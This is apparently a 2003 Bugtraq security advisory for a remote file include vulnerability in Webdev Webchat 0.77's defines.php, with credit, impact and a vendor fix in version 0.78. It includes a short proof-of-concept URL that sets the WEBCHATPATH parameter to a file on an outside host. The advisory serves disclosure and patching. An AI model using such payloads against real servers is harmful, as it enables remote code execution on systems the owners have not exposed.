Webchat Defines.PHP Remote File Include Vulnerability

Bugtraq ID:	7000
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Mar 03 2003 12:00AM
Updated:	Mar 03 2003 12:00AM
Credit:	Discovery of this vulnerability has been credited to "Frog Man" <[email protected]>.
Vulnerable:	Webdev Webchat 0.77
Not Vulnerable:

Webchat Defines.PHP Remote File Include Vulnerability

Webchat is prone to an issue that may allow remote attackers to include files located on attacker-controlled servers.

This vulnerability is as a result of insufficient sanitization performed on remote user-supplied data. Under some circumstances, it is possible for remote attackers to influence the path for certain include files to point to an external file by manipulating URI parameters.

If the remote file is a malicious file, this may be exploited to execute arbitrary system commands in the context of the web server.

Webchat Defines.PHP Remote File Include Vulnerability

The following proof of concept was provided:

http://www.example.com/defines.php?WEBCHATPATH=http://www.target.com/db_mysql.php http://www.example.com/defines.php?WEBCHATPATH=http://www.target.com/language/english.php

Webchat Defines.PHP Remote File Include Vulnerability

Solution:
The vendor has released a fix to address this issue:


Webdev Webchat 0.77

• Webdev Webchat 0.78
  http://www.webdev.ro/products/webchat/download.php

Webchat Defines.PHP Remote File Include Vulnerability

References:

• Webchat Homepage (Webdev)
  
• WebChat (PHP) ("Frog Man" )